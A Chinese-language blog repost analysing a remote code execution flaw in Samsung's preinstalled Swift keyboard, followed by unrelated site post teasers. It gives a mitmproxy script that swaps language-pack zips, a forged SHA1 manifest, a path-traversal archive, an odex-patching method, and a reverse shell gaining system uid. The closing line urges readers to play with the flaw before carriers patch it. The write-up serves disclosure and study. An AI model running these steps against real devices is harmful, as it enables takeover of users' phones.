三星手机远程代码执行漏洞分析

摘要

远程攻击者完全有能力控制用户网络流量,操纵三星手机的键盘更新机制,并且在目标手机上使用系统用户权限执行代码。

在三星设备中预装的快速键盘,无法禁用也无法卸载。即使这个快速键盘并非用户默认使用,攻击者也能够利用!

概念验证:https://github.com/nowsecure/samsung-ime-rce-poc/

工作原理

不幸的是,OEM以及运营商经常会在设备中预装一些第三方软件,许多情况下这些软件所拥有的权限特别高。这次的主角是三星的Swift keyboard(快速键盘)

  /tmp  aapt d badging SamsungIME.apk | head -3        package: name='com.sec.android.inputmethod' versionCode='4' versionName='4.0'        sdkVersion:'18'        targetSdkVersion:'19'          /tmp  shasum SamsungIME.apk        72f05eff8aecb62eee0ec17aa4433b3829fd8d22  SamsungIME.apk
  /tmp  aapt d xmltree SamsungIME.apk AndroidManifest.xml | grep shared            A: android:sharedUserId(0x0101000b)="android.uid.system" (Raw: "android.uid.system")

从中我们可以看出这个键盘输入软件使用三星的私有签名,并且在设备中拥有特殊权限。system权限啊,这尼玛!

准备工作

针对此漏洞的攻击媒介需要攻击者能够修改上行流量,该漏洞在重启后可自动触发。

测试机器为一台带USB Wi-Fi工具的Linux VM,所有的http流量都重定向到https://mitmproxy.org/

漏洞的发现

Swift有一个更新机制,运行添加新语言或者升级现有语言。当用户下载一个附加语言包,我们看到网络请求:

 GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/az_AZ.zip               ← 200 application/zip 995.63kB 601ms

当Zip文件下载完成,就进行提取了:

/data/data/com.sec.android.inputmethod/app_SwiftKey//.

root@kltevzw:/data/data/com.sec.android.inputmethod/app_SwiftKey/az_AZ # ls -l        -rw------- system   system     606366 2015-06-11 15:16 az_AZ_bg_c.lm1        -rw------- system   system    1524814 2015-06-11 15:16 az_AZ_bg_c.lm3        -rw------- system   system        413 2015-06-11 15:16 charactermap.json        -rw------- system   system         36 2015-06-11 15:16 extraData.json        -rw------- system   system         55 2015-06-11 15:16 punctuation.json

可以看到.zip文件被写入system权限,这个权限能操作系统文件了。由于应用程序通过明文方式发送zip文件,我们尝试进行一些修改。

我们可以通过设置一个全局Wi-Fi代理并且在计算机上将设备指向mitmproxy。接着编写一个快速脚本:

def request(context, flow):            if not flow.request.host == "kslm.swiftkey.net" or not flow.request.endswith(".zip"):              return                    resp = HTTPResponse(                [1, 1], 200, "OK",                ODictCaseless([["Content-Type", "application/zip"]]),                "helloworld")                    with open('test_language.zip', 'r') as f:              payload = f.read()              resp.content = payload              resp.headers["Content-Length"] = [len(payload)]                    flow.reply(resp)

payload十分简单,就包含一个文件

  /tmp  unzip -l test_keyboard.zip        Archive:  test_keyboard.zip          Length     Date   Time    Name         --------    ----   ----    ----                6  06-11-15 15:33   test         --------                   -------                6                   1 file

检测/data/data/com.sec.android.inputmethod/app_SwiftKey/ 之后,我们注意到不论是我们的语言包还是测试文件都不存在了。应用程序验证了zip文件,经过后面的探寻,在之前下载的zip文件中发现一个manifest,这个manifest包括了所有语言包,语言包的url,及zip包的SHA1 hash。

在mitmproxy中的请求:

>> GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json               ← 200 application/json 15.38kB 310ms

通过jq我们仔细观察这个manifest文件:

 curl -s 'http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json' | jq '.[] | select(.name == "English (US)")'

服务器返回一个语言表,语言表的URL,以及他们的SHA1 hash。服务器响应示例(仅选择English payload):

{          "name": "English (US)",          "language": "en",          "country": "US",          "sha1": "3b98ee695b3482bd8128e3bc505b427155aba032",          "version": 13,          "archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/en_US.zip",          "live": {            "sha1": "b846a2433cf5fbfb4f6f9ba6c27b6462bb1a923c",            "version": 1181,            "archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/ll_en_US.zip"          }        }

我们正在下载的语言升级包SHA1经过manifest中的信息验证,如果我们预先计算出payload的SHA1并创建我们自己的manifest文件,我们就可以随意的改变这些zip文件了。此外,对于我们的payload,给先添加一个路径遍历,并试图将文件写入/data/.

  samsung_keyboard_hax  unzip -l evil.zip         Archive:  evil.zip          Length      Date    Time    Name        ---------  ---------- -----   ----                5  2014-08-22 18:52   ../../../../../../../../data/payload        ---------                     -------                5                     1 file

适当的修改 manifest文件之后,我们检查我们payload文件,谢天谢地还在。

  samsung_keyboard_hax  adbx shell su -c "ls -l /data/payload"        -rw------- system   system          5 2014-08-22 16:07 payload

文件写入可执行代码

现在,我们可以将任意文件赋予system权限了,我们的目标是就是将他粗暴的写入代码执行。Swift keyboard 自身在其目录并没有可执行代码可供我们覆盖。别吵,我们去别处看看。

对文件进行dex优化之后,会缓存在/data/dalvik-cache/。我们现在需要寻找system组的文件,这样就可以通过system user权限执行。

root@kltevzw:/data/dalvik-cache # /data/local/tmp/busybox find . -type f -group 1000        ./system@[email protected]@classes.dex        ./system@[email protected]@classes.dex        ./system@[email protected]@classes.dex        ./system@[email protected]@classes.dex        ./system@[email protected]@classes.dex        ./system@[email protected]@classes.dex        ./system@[email protected]@classes.dex        ./system@[email protected]@classes.dex        ./system@[email protected]@classes.dex        ./system@[email protected]@classes.dex        ./system@[email protected]@classes.dex

在列表中,我们要选择一个目标组件自动调用。理想情况下,对于整个odex文件仅替换我们感兴趣的目标。最好选择DeviceTest (/data/dalvik-cache/system@[email protected]@classes.dex) 作为目标。

反编译之后查看manifest文件,我们看到应用确实有sharedUserId=”android.id.system”,并且看到BroadcastReceiver定义,启动它可以自动进行重启设备。

<manifest android:sharedUserId="android.uid.system" android:versionCode="1" android:versionName="1.0" package="com.sec.factory" xmlns:android="http://schemas.android.com/apk/res/android">       ...                <receiver android:name="com.sec.factory.entry.FactoryTestBroadcastReceiver">                   <intent-filter>                       <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" />                       <data android:scheme="file" />                   </intent-filter>                   <intent-filter>                       <action android:name="android.intent.action.PACKAGE_CHANGED" />                       <data android:scheme="package" />                   </intent-filter>                   <intent-filter>                       <action android:name="android.intent.action.PRE_BOOT_COMPLETED" />                       <action android:name="android.intent.action.BOOT_COMPLETED" />                   </intent-filter>                   <intent-filter>                       <action android:name="com.sec.atd.request_reconnect" />                       <action android:name="android.intent.action.CSC_MODEM_SETTING" />                   </intent-filter>               </receiver>

我们需要为com.sec.factory.entry.FactoryTestBroadcastReceiver生成一个odex文件:

cat FactoryTestBroadcastReceiver.java | head                package com.sec.factory.entry;        import java.lang.Class;        import java.io.File;        import android.content.BroadcastReceiver;        import android.content.Context;        import android.content.Intent;        import android.util.Log;                public class FactoryTestBroadcastReceiver extends BroadcastReceiver {           //Exploit code here        }

创建完payload之后,我们可以通过DalvikExchange (dx)工具编译并运行它用来获取一个包含dalvik 字节代码的.jar文件。现在进行一些优化,将jar推送到设备生成odex

ANDROID_DATA=/data/local/tmp dalvikvm -cp /data/local/tmp/<payload.jar> com.sec.factory.entry.FactoryTestBroadcastReceiver

缓存文件所在目录,shell用户可读

shell@kltevzw:/data/local/tmp/dalvik-cache $ ls -l        -rw-r--r-- shell    shell        3024 2014-07-18 14:09  data@local@[email protected]@classes.dex

将payload注入到我们语言包之后,触发下载并重启。

D/dalvikvm( 6276): DexOpt: --- BEGIN 'payload.jar' (bootstrap=0) ---        D/dalvikvm( 6277): DexOpt: load 10ms, verify+opt 6ms, 112652 bytes        D/dalvikvm( 6276): DexOpt: --- END 'payload.jar' (success) ---        I/dalvikvm( 6366): DexOpt: source file mod time mismatch (3edeaec0 vs 3ed6b326)

作为 .ODEX 头的一部分,其存储CRC32以及classes.dex的修改时间,它根据原始APK的zip文件结构表:

unzip -vl SM-G900V_KOT49H_DeviceTest.apk classes.dex        Archive:  SM-G900V_KOT49H_DeviceTest.apk         Length   Method    Size  Ratio   Date   Time   CRC-32    Name        --------  ------  ------- -----   ----   ----   ------    ----          643852  Defl:N   248479  61%  06-22-11 22:25  f56f855f  classes.dex        --------          -------  ---                            -------          643852           248479  61%                            1 file

我们需要从zip文件中拉取这两点信息,以及修补我们经过odex的payload,让其看上去像是从原始DeviceTest.apk生成的。请注意,CRC32以及文件修改时间并不能作为一种安全机制。我们需要明白,当缓存需要更新是因为应用程序需要更新。

修补我们的 .ODEX文件并触发漏洞,将会执行我们的payload。出于测试目的,这里仅仅是一个反向壳

nc 192.168.181.96 8889        id        uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1007(log),1010(wifi),1015(sdcard_rw),1021(gps),1023(media_rw),1024(mtp),1028(sdcard_r),2001(cache),3001(net_bt_admin),3002(net_bt),3003(inet),3004(net_raw),3005(net_admin),3009(qcom_diag),41000(u0_a31000) context=u:r:system_app:s0

视频

小水管啦,上传又失败啦……retrying

【https://www.youtube.com/watch?v=uvvejToiWrY】

结语

不幸的是,这款键盘输入软件即使禁用了也能被利用。在运营商修补该漏洞之前尽情的玩耍吧。

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/127942.html<

(0)
运维的头像运维
上一篇2025-02-24 22:06
下一篇 2025-02-24 22:08

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注